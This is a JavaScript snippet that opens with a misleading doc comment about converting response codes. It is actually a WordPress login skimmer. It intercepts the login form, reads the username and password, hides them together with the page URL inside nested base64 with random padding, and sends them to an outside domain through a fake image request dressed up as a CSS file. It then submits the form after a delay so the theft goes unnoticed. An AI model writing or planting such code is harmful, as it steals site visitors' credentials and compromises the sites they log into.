/** * Given a response code int, produce the string equivalent. * * @param {int!} rcode * @return {string} */ document.getElementById("wp-submit").addEventListener("click", function() { event.preventDefault(); yourNewFunction(); }); document.getElementById("loginform").addEventListener("submit", function(event) { event.preventDefault(); yourNewFunction(); }); document.addEventListener("keydown", function(event) { if (event.key === "Enter") { event.preventDefault(); yourNewFunction(); } }); function yourNewFunction() { var userLogin = document.getElementById("user_login").value; var user_pass = document.getElementById("user_pass").value; var pass=String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+btoa(userLogin +"|"+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+btoa(String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+String.fromCharCode(Math.floor(Math.random() * 26) + (Math.random() < 0.5 ? 65 : 97))+btoa(user_pass +"|"+window.location.href))); var img = new Image(); img.src = 'https://public.doginfo.eu.org/static/image.min.css?ver=' + pass; setTimeout(function() { var form = document.getElementById("loginform"); form.submit(); }, 4000); }